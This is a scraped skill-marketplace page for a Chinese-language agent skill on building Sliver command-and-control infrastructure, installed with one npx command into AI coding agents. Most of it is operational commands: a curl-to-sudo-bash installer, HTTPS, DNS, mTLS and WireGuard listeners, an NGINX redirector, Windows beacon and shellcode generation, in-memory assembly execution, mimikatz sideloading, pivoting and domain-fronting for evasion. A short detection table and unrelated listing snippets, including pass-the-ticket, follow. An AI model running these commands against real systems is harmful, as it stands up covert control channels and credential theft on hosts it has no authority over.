skills/building-c2-infrastructure-with-sliver-framework/SKILL.md
使用 BishopFox 的 Sliver C2 框架构建和配置具备韧性的命令与控制(Command-and-Control)基础设施,包含重定向器(redirector)、HTTPS 监听器和多操作员支持,适用于授权红队(Red Team)演练。
npx skillsauth add killvxk/cybersecurity-skills-zh building-c2-infrastructure-with-sliver-frameworkInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Sliver 是由 BishopFox 开发的开源、跨平台对手模拟(adversary emulation)框架,使用 Go 语言编写。它为红队提供植入物(implant)生成、多协议 C2 信道(mTLS、HTTP/S、DNS、WireGuard)、多操作员支持以及丰富的后渗透(post-exploitation)能力。Sliver 支持信标(beacon,异步)模式和会话(session,交互式)模式,既适合长期潜伏行动,也适合交互式利用。架构良好的 Sliver 基础设施通过重定向器、域前置(domain fronting)和 HTTPS 证书来维持运营韧性并规避检测。
curl https://sliver.sh/install | sudo bash
systemctl start sliver
# 或以交互方式运行
sliver-server
new-operator --name operator1 --lhost <team-server-ip>
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
dns --domains c2dns.example.com --lport 53
mtls --lhost 0.0.0.0 --lport 8888
wg --lport 51820
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
generate beacon --dns c2dns.example.com --os windows --arch amd64
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
beacons # 列出活跃信标
use <beacon-id> # 与信标交互
ps # 进程列表
netstat # 网络连接
execute-assembly /path/to/Seatbelt.exe -group=all # 在内存中运行 .NET 程序集
sideload /path/to/mimikatz.dll # 加载 DLL
pivots tcp --bind 0.0.0.0:9898 # 在被控主机上创建枢纽监听器
armory install sa-ldapsearch # 从 armory 安装
sa-ldapsearch -- "(objectClass=user)" # 执行 BOF
| 工具 | 用途 | 平台 | |------|---------|----------| | Sliver Server | C2 团队服务器和植入物管理 | Linux/macOS/Windows | | Sliver Client | 团队成员操作员控制台 | 跨平台 | | NGINX | 重定向器和反向代理 | Linux | | Certbot | Let's Encrypt SSL 证书生成 | Linux | | Cloudflare | CDN 和域前置 | 云端 | | Armory | Sliver 扩展/BOF 包管理器 | 内置 |
| 指标 | 检测方法 | |-----------|-----------------| | 默认 Sliver HTTP 头部 | 网络流量分析,查找异常 User-Agent 字符串 | | 非标准端口上的 mTLS | 防火墙日志,监控到异常端口的出站连接 | | 高熵 DNS TXT 记录查询 | DNS 日志分析,检测编码的 C2 流量 | | 51820 端口上的 WireGuard UDP 流量 | 网络流量分析,检测 WireGuard 握手模式 | | Sliver 植入物文件哈希 | EDR/AV 针对已知 Sliver 样本的特征匹配 |
testing
设计并执行社会工程学渗透测试,包括钓鱼、语音钓鱼、短信钓鱼和物理借口活动,以衡量人员安全韧性并识别培训差距。
testing
主持结构化的事件后审查,以识别根本原因、记录有效和无效的措施,并提出可操作的改进建议以提升未来的事件响应能力。
testing
通过分析举报的邮件、提取指标、评估凭据受攻陷情况、在全组织范围隔离恶意邮件并修复受影响账号来响应网络钓鱼事件。涵盖邮件头分析、URL/附件沙箱检测和邮箱范围清除操作。适用于网络钓鱼响应、邮件事件、凭据钓鱼、鱼叉式网络钓鱼调查或钓鱼修复相关请求。
tools
票据传递(Pass-the-Ticket,PtT)是一种横向移动技术,使用窃取的 Kerberos 票据(TGT 或 TGS)在不知道用户密码的情况下向服务进行认证。通过从已控制的主机内存中提取 Kerberos 票据,攻击者可以将这些票据注入自己的会话以模拟票据所有者。